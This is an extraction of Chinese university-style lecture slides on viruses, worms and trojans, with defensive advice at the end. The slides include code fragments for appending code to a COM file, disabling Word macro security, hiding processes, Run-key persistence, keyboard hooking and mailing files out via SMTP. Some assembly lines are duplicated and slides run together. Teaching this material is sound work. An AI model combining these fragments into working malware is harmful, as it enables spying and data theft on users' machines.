密码学sec-chap system security.ppt_第1页
密码学sec-chap system security.ppt_第2页
密码学sec-chap system security.ppt_第3页
密码学sec-chap system security.ppt_第4页
密码学sec-chap system security.ppt_第5页
已阅读5页,还剩75页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、系统安全木马和病毒蠕虫,区分病毒蠕虫和木马,1. 病毒的基本概念,计算机病毒(蛀虫),是指某些人有意编制的具有自我繁殖、相互传染和破坏作用的计算机程序。,什么是病毒,1. 病毒的基本概念,统计表明,在2003年的上半年,我国计算机病毒感染率约有85%,并呈现出继续上升趋势。在2001年,我国有73%的计算机曾感染病毒,到了2002年,这个数字上升到近84%,2003上半年又增加到85% 。当前的网络入侵主要来自于蠕虫病毒。 病毒制造者最厉害的地方:匈牙利 病毒泛滥的地方:菲律宾 病毒制造者的年龄:1718岁,一些统计数据,1. 病毒蠕虫的基本概念,它是一段(寄生)的代码!,基本原理,2.病毒蠕

2、虫的原理,复制 触发 破坏,病毒的3个基本手段,2. 病毒的原理,引导病毒 (引导程序) Dos病毒 (Com文件,EXE文件) Windows病毒 (PE文件) 脚本语言 (Word , HTML),几种不同分类的病毒原理,2. 病毒的原理,VB,VBScript, VBA C语言 汇编 机器码,所涉及到的程序语言,2. 病毒的原理,引导病毒原理启动顺序,POST通电自检 ;计算机接通电源后,系统将有一个对内部各个设备进行检查的过程,完整的POST自检将包括CPU、640K基本内存、1M以上的扩展内存、ROM、主板、 CMOS内存、串并口、显示卡、软硬碟子系统及键盘测试。自检中若发现问题,系

3、统将给出提示信息或鸣笛警告。 BIOS将按照系统CMOS设置中的启动顺序搜寻软硬盘驱动器及CDROM、网络服务器等有效的驱动程序 读入操作系统引导记录,然后将系统控制权交给引导记录,由引导记录完成系统的启动。,2. 病毒的原理,引导病毒原理硬盘主引导区,(1)主引导程序; (2)四个分区表; (3)主引导记录有效标志字,2. 病毒的原理,引导病毒原理硬盘引导程序,0000 FA CLI ;屏蔽中断0001 33C0 XOR AX,AX0003 8ED0 MOV SS,AX ;(SS)=0000H0005 BC007C MOV SP,7C00 ;(SP)=7C00H0008 8BF4 MOV S

4、I,SP ;(SI)=7C00H000A 50 PUSH AX000B 07 POP ES ;(ES)=0000H000C 50 PUSH AX000D 1F POP DS ;(DS)=0000H000E FB STI000F FC CLD0010 BF0006 MOV DI,06000013 B90001 MOV CX,0100 ;共512字节0016 F2 REPNZ0017 A5 MOVSW ;主引导程序把自己从0000:7C00处搬到0000:0600处,为Dos分区的引导程序腾出空间,2. 病毒的原理,引导病毒原理硬盘引导程序,0018 EA1D060000 JMP 0000:061

5、D ;跳到0000:061D处继续执行,实际上就是;执行下面的MOV指令(001D偏移处)001D BEBE07 MOV SI,07BE ;07BE-0600=01BE,01BE是分区表的首址0020 B304 MOV BL,04 ;分区表最多4项,即最多4个分区0022 803C80 CMP BYTE PTR SI,80 ;80H表示活动分区0025 740E JZ 0035 ;找到活动分区则跳走0027 803C00 CMP BYTE PTR SI,00 ;00H为有效分区的标志002A 751C JNZ 0048 ;既非80H亦非00H则分区表无效002C 83C610 ADD SI,+

6、10 ;下一个分区表项,每项16字节002F FECB DEC BL ;循环计数减一0031 75EF JNZ 0022 ;检查下一个分区表项0033 CD18 INT 18 ;4个都不能引导则进入ROM Basic0035 8B14 MOV DX,SI0037 8B4C02 MOV CX,SI+02 ;取活动分区的引导扇区的面,柱面,扇区003A 8BEE MOV BP,SI ;然后继续检查后面的分区表项003C 83C610 ADD SI,+10003F FECB DEC BL0041 741A JZ 005D ;4个都查完则去引导活动分区 0043 803C00 CMP BYTE PTR

7、 SI,00 ;00H为分区有效标志0046 74F4 JZ 003C ;此分区表项有效则继续查下一个0048 BE8B06 MOV SI,068B ;068B-0600=018B,取无效分区字符串,2. 病毒的原理,引导病毒原理硬盘引导程序,005D BF0500 MOV DI,0005 ;读入活动分区的引导扇,最多试读5次0060 BB007C MOV BX,7C000063 B80102 MOV AX,02010066 57 PUSH DI0067 CD13 INT 13 ;读0069 5F POP DI006A 730C JNB 0078 ;读盘成功则跳走006C 33C0 XOR A

8、X,AX006E CD13 INT 13 ;读失败则复位磁盘0070 4F DEC DI0071 75ED JNZ 0060 ;不到5次则再试读0073 BEA306 MOV SI,06A3 ;06A3-0600=00A3,即Error loading串0076 EBD3 JMP 004B ;去显示字符串,然后进入死循环0078 BEC206 MOV SI,06C2 ;06C2-0600=00C2,即Missing.串0076 EBD3 JMP 004B ;去显示字符串,然后进入死循环0078 BEC206 MOV SI,06C2 ;06C2-0600=00C2,即Missing.串007B

9、BFFE7D MOV DI,7DFE ;7DFE-7C00=01FE,即活动分区的引导扇区的最后两字节的首址,2. 病毒的原理,引导病毒原理病毒技术,1、减少系统内存量计数,为自己保留空间 2、修改中断向量,为自己埋伏触发机制 3、将病毒代码转移到保留的空间中 4、有机会触发的时候,检查是否有磁盘,复制自己到其他磁盘 5 、读出被病毒隐藏的原正常DOS引导区并执行。,2. 病毒的原理,Com病毒原理病毒技术,COM文件是内存映像,2. 病毒的原理,Com病毒原理病毒技术,手动修改一个文件的例子,关键步骤: 编写自己的代码(结束时恢复原来的代码) 修改程序头,使之跳转到自己的代码 修改计数器的值

10、,将文件保存(包括自己的代码)。 告成,执行试试!,2. 病毒的原理,D: debug -r 显示当前寄存器值 AX=0000 BX=0000 CX=2967 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 DS=148C ES=148C SS=148C CS=148C IP= 0100 NV UP EI PL NZ NA PO NC 148C:0100 E85A10 CALL 115D -a cs: 2A67 将附加的代码汇编到程序地址空间的末端 148C:2A67 MOV AH,09 中断21的9号功能,显示字串 148C:2A69 MOV DX, 2A83

11、 显示字串的地址 148C:2A6C INT 21 148C:2A6E MOV BYTE PTR 0100, E8 恢复原始more程序入口 148C:2A73 MOV BYTE PTR 0101, 5A 恢复原始more程序入口 148C:2A78 MOV BYTE PTR 0102, 10 恢复原始more程序入口 148C:2A7D PUSH CS 设置返回段地址,2. 病毒的原理,148C:2A7E MOV SI, 0100 设置返回段内偏移 148C:2A81 PUSH SI 148C:2A82 RETF返回原始more程序入口 148C:2A83 db30 字符0的Asc码值 14

12、8C:2A84 db30 字符0的Asc码值 148C:2A85 db30 148C:2A86 db30 148C:2A87 db30 148C:2A88 db30 148C:2A89 db30 148C:2A8A db30 148C:2A8B db30,2. 病毒的原理,148C:2A8C db30 148C:2A8D db24 字符串结束标志 148C:2A8E - -a cs: 0100 修改原始more程序入口,跳转到自己添加的代码 148C:0100 JMP 2A67 148C:0103 - -r cx 修改CX寄存器为程序现在的长度 CX * : 298E - -w 写入文件 Wr

13、iting 298E bytes -q 修改完毕,退出。,2. 病毒的原理,Windows病毒原理病毒技术,PE文件格式: Portable Executable(可移植的执行 ),2. 病毒的原理,宏病毒原理病毒技术,主要利用MS的自动化技术,VBS。 如何复制? Set so=CreateObject(“Scripting.FileSystemObject”) ScriptFullName :文件本身 So.GetFile(WScript.ScriptFullName).Copy(“c:new.vbs”),3. 典型病毒分析,“Melissa”病毒原理,Word宏病毒,3. 典型病毒分析,

14、“Melissa”病毒原理,Word宏病毒,3. 典型病毒分析,“Melissa”病毒原理,降低Word9.0宏病毒防护等级,修改一些配置,If System.PrivateProfileString(, HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity, Level) Then CommandBars(Macro).Controls(Security.).Enabled = False System.PrivateProfileString(, HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0

15、WordSecurity, Level) = 1 /取得Windows的版本号 if (dwVersion = 0 x80000000) / Windows 9x隐藏任务列表 int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”); /装入ERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD)GetProcAddress(dll,“Regist erServiceProcess”); /找到RegisterServiceProcess的入口 rsp(NULL,1)

16、; /注册服务 FreeLibrary(dll); /释放DLL模块 return 0; ,隐藏技术 伪隐藏技术1,7. 木马程序的主要编程技术,用Visual Basic程序。 Public Declare Function RegisterServiceProcess Lib kernel32 (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As LongPublic Declare Function GetCurrentProcessId Lib kernel32 () As Long Private Sub Form_Load

17、() RegisterServiceProcess GetCurrentProcessId, 1 (注册系统服务) End Sub Private Sub Form_Unload() RegisterServiceProcess GetCurrentProcessId, 0 (取消系统服务) End Sub,隐藏技术 伪隐藏技术1,7. 木马程序的主要编程技术,API的拦截技术:建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏。 例

18、如,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。,隐藏技术 伪隐藏技术2,7. 木马程序的主要编程技术,Windows系统的另一种“可执行文件”-DLL: DLL是Dynamic Link Library(动态链接库),DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵

19、检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。,隐藏技术2 不使用进程,7. 木马程序的主要编程技术,运行DLL文件最简单的方法是利用Rundll32.exe。 Rundll/Rundll32是Windows自带的动态链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而Rundll32是32位的(分别调用16位和32位的DLL文件)。 Rundll32的使用方法如下: Rundll

20、32.exeDllFileNameFuncName,隐藏技术2 不使用进程,4. 木马程序的主要编程技术,使用Rundll32.exe运行木马DLL:系统只能检查出Rundll32进程。 特洛伊式的DLL替换法:使用木马的DLL替换系统中正常的DLL。 动态嵌入技术:将自己的木马代码嵌入到正在运行中进程的技术。,隐藏技术2 不使用进程,7. 木马程序的主要编程技术,触发技术 修改注册表,修改注册表的哪些地方? 老地方 。 HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESoftw

21、areMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunService HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce,7. 木马程序的主要编程技术,计算机管理技术-锁定鼠标,锁定鼠标ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用

22、ShowCursor(FALSE)把鼠标隐藏起来也可以注:RECT是一个矩形,定义如下:Type RECT Left As Long Top As Long Right As Long Bottom As LongEnd Type,7. 木马程序常用的技术,系统基本信息,/ CPU信息 LPSYSTEM_INFO mysys; mysys = new SYSTEM_INFO; GetSystemInfo(mysys); mysys-dwNumberOfProcessors / CPU个数 mysys-wProcessorLevel / CPU档次,7. 木马程序常用的技术,键盘消息,钩子程序:

23、钩子程序的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统消队列。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。,7. 木马程序常用的技术,键盘消息写钩子程序,1、申明钩子函数 LRESULT CALLBACK HookFun(int nCode,WPARAM wParam,LPARAM lParam); 2、系统调用将钩子函数挂接到系统消息出来队列 Hook=(HHOOK)SetWindowsHookEx( WH_

24、KEYBOARD, / 消息类型 (HOOKPROC)LauncherHook, / 钩子函数地址 NULL, / 所在模块的句柄 0); /目标线程的ID,7. 木马程序常用的技术,键盘消息钩子程序例子,注意: 1、捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装。 2、不要破坏钩子链:LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 3、注销不用的钩子:UnhookWindowsHookEx(g_hLogHook);,7. 木马程序常用的技术,键盘消

25、息钩子程序例子,7. 木马程序常用的技术,用户其他信息,1、用户的收藏夹: C:Documents and SettingsAdministratorFavorites 2、Internet临时缓存文件: C:Documents and SettingsAdministratorLocal SettingsTemporary Internet Files,7. 木马程序常用的技术,网络技术,客户服务器程序结构 各种协议的支持,7. 木马程序常用的技术,网络技术- 客户服务器编程,Socket 的基本概念:(插座),7. 木马程序常用的技术,主要网络协议的支持- HTTP客户端,HTTP服务端可

26、以用现有的Web服务器。 客户端的作用是向Web服务器发出请求,然后得到Web服务器的返回,并解释得到的返回数据。 客户端向服务器的请求中可以传送多个参数。 推荐使用XMLHTTP控件,在msxml.dll中。,7. 木马程序常用的技术,主要网络协议的支持- HTTP客户端代码,Dim oHttp As XMLHTTP Set oHttp = New XMLHTTP oHttp.Open POST, “/sample1.asp, False oHttp.setRequestHeader Content-Type, multipart/form-data, boundary=A

27、aB03x,7. 木马程序常用的技术,主要网络协议的支持- HTTP客户端代码,strBody = _ -AaB03x filename= & strFileName2 & & vbCrLf & _ Content-Transfer-Encoding: binary & vbCrLf & _ Content-Type: image/gif & vbCrLf & vbCrLf & _ strImage & vbCrLf & _ -AaB03x-,7. 木马程序常用的技术,主要网络协议的支持- HTTP客户端代码,must convert to byte array because of bina

28、ry zeros aPostData = StrConv(strBody, vbFromUnicode) send it oHttp.send aPostData 得到服务器的回应 Debug.Print oHttp.responseText,7. 木马程序常用的技术,主要网络协议的支持- SMTP,POP3客户端,利用邮件服务器发送邮件 从邮件服务器接收邮件 邮件服务器可以已有的所有服务器。 推荐使用Free的SendMail控件,7. 木马程序常用的技术,主要网络协议的支持- SMTP客户端代码,Public WithEvents poSendMail As vbSendMail.clsS

29、endMail poSendMail.SMTPHost = SmtpServer If IfNeedUserVerify = 1 Then poSendMail.UseAuthentication = True poSendMail.UserName = AccountName poSendMail.Password = AccountPasswd Else poSendMail.UseAuthentication = False End If,7. 木马程序常用的技术,主要网络协议的支持- SMTP客户端代码,poSendMail.From = huang- poSendMail .Mess

30、age = strTemp .Subject = loss poSendMail.Subject = make“ poSendMail.Attachment = SendEntFile poSendMail.Recipient = poSendMail.Send 相应poSendMail的事件:进度和是否结束,8. 木马程序的防范,端口扫描:端口扫描是检查远程机器有无木马的最好办法, 端口扫描的原理非常简单, 扫描程序尝试连接某个端口, 如果成功, 则说明端口开放, 如果失败或超过某个特定的时间(超时), 则说明端口关闭。,防范-端口扫描,8. 木马程序的防范,查看连接:查看连接是在本地机上通

31、过netstat -a(或某个第三方的程序,如tcpview)查看所有的TCP/UDP连接,查看连接要比端口扫描快,缺点无法查出驱动程序/动态链接木马,而且仅仅能在本地使用。,防范-查看连接,8. 木马程序的防范,检查注册表和查找文件:木马可以通过注册表启动,现在大部分的木马都是通过注册表启动的。查找木马特定的文件也是一个常用的方法,例如冰河的一个特征文件是kernl32.exe,另一个更隐蔽,是sysexlpr.exe。冰河之所以给这两个文件取这样的名字就是为了更好的伪装自己。其他木马如:EXPLORE.EXE, system.exe等。 删除注册表相应的启动键值,删除木马文件。,防范-注册

32、表,8. 木马程序的防范,使用杀病毒软件:杀病毒软件对于木马程序没有太大的用处。包括一些号称专杀木马的软件也同样是如此,它们只是对于过时的木马以有点用处。,防范-杀病毒软件,8. 木马程序的防范,网络工具: Netstat Ipconfig Ping Tracert TCPView,防范-工具,8. 木马程序的防范,Netstat: Netstat a :显示所有连接和侦听端口 netstat -n :显示所有活动连接 netstat p :显示指定协议的连接 netstat r :显示路由表 还有许多功能,如统计等,需要大家慢慢琢磨了。,防范-工具,8. 木马程序的防范,TCPView,防范

33、-工具,8. 木马程序的防范,注册表工具:RegEdit,防范-工具,9. 安全建议,对于个人用户,不要到不熟悉的网站下载程序。 定期检查注册表相应的键值。 关注系统中是否有可疑进程。(See next page) 关注计算机端口。 安装系统时,不要贪图大而全,要遵守适当的原则。 不要轻易打开电子邮件的附件。 正确地配置自己的计算机。,9. 安全建议,基本系统进程 smss.exe Session Manager csrss.exe 子系统服务器进程 winlogon.exe 管理用户登录 services.exe 包含很多系统服务 lsass.exe 管理 IP 安全策略以及产生会话密钥。 svchost.exe 包含很多系统服务 SPOOLSV.EXE 将文件加载到内存中以便迟后打印。 explorer.exe 资源管理器,9. 安全建议,可选系统进程1 mstask.exe 允许程序在指定时间运行。 regsvc.exe 允许远程注册表操作。 winmgmt.exe 提供系统管理信息。 inetinfo.exe Internet 信息服务的管理tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。 tftpd.exe 实现

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论